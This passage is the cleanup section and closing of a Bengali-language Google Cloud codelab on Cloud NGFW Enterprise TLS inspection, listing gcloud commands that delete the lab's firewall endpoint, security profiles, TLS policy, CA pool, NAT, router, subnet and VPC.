gcloud -q compute network-firewall-policies delete $prefix-fwpolicy --global

Cloud Router ও Cloud NAT মুছুন:

gcloud -q compute routers nats delete $prefix-cloudnat-$region \
   --router=$prefix-cr --router-region $region

gcloud -q compute routers delete $prefix-cr --region=$region

রিজার্ভ করা IP অ্যাড্রেস মুছে দিন:

gcloud -q compute addresses delete $prefix-$region-cloudnatip --region=$region

Cloud Firewall SPG, Association, and TLS Clean-Up

এই ক্রমে নিরাপত্তা প্রোফাইল গ্রুপ এবং নিরাপত্তা প্রোফাইলগুলি মুছুন (আপনি যদি ঐচ্ছিক উন্নত ম্যালওয়্যার স্যান্ডবক্স বিভাগটি সম্পূর্ণ করে থাকেন, তাহলে $prefix-spg মুছে ফেলার পরে $prefix-sp-wildfire মুছে ফেলার জন্য কমান্ডটি চালান):

gcloud -q network-security security-profile-groups delete \
  $prefix-spg \
  --organization $org_id \
  --location=global

gcloud -q network-security security-profiles wildfire-analysis \
  delete $prefix-sp-wildfire \
  --organization $org_id \
  --location=global

gcloud -q network-security security-profiles threat-prevention \
  delete $prefix-sp-threat \
  --organization $org_id \
  --location=global

Cloud Firewall এন্ডপয়েন্ট অ্যাসোসিয়েশন মুছুন:

gcloud -q network-security firewall-endpoint-associations delete \
  $prefix-association --zone $zone

Cloud Firewall এন্ডপয়েন্ট মুছে দিন, এতে প্রায় ২০ মিনিট সময় লাগতে পারে:

gcloud -q network-security firewall-endpoints delete $prefix-$zone --zone=$zone --organization $org_id

বিকল্প হিসেবে, নিচে দেওয়া কমান্ড রান করে Cloud NGFW এন্ডপয়েন্ট মুছে দেওয়া হয়েছে কিনা তা কনফার্ম করুন:

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

এন্ডপয়েন্টের স্ট্যাটাস এটি দেখাতে হবে:

STATE: DELETING

সম্পূর্ণ হয়ে গেলে, এন্ডপয়েন্ট আর তালিকাভুক্ত থাকবে না।

এই ক্রমে TLS নীতি ও ট্রাস্ট কনফিগারেশন মুছুন:

gcloud -q network-security tls-inspection-policies delete \
  $prefix-tls-policy \
  --location=$region

gcloud -q alpha certificate-manager trust-configs delete \
  $prefix-trust-config \
  --location=$region

রুট CA এবং CA পুল বন্ধ করে মুছে দিন:

gcloud -q privateca roots disable $prefix-CA-Root \
  --location=$region \
  --pool=$prefix-CA-Pool \
  --ignore-dependent-resources 

gcloud -q privateca roots delete $prefix-CA-Root \
  --location=$region \
  --pool=$prefix-CA-Pool \
  --skip-grace-period \
  --ignore-active-certificates \
  --ignore-dependent-resources

gcloud -q privateca pools delete $prefix-CA-Pool \
  --location=$region \
  --ignore-dependent-resources

Subnet ও VPC ক্লিন-আপ

সবশেষে, সাবনেট ও VPC নেটওয়ার্ক মুছে দিন:

gcloud -q compute networks subnets delete $prefix-$region-subnet --region $region

gcloud -q compute networks delete $prefix-vpc

১৭. অভিনন্দন!

অভিনন্দন, আপনি পূর্ব-পশ্চিম ও উত্তরমুখী TLS Inspection-এর জন্য Cloud NGFW Enterprise কোডল্যাব সম্পূর্ণ করেছেন।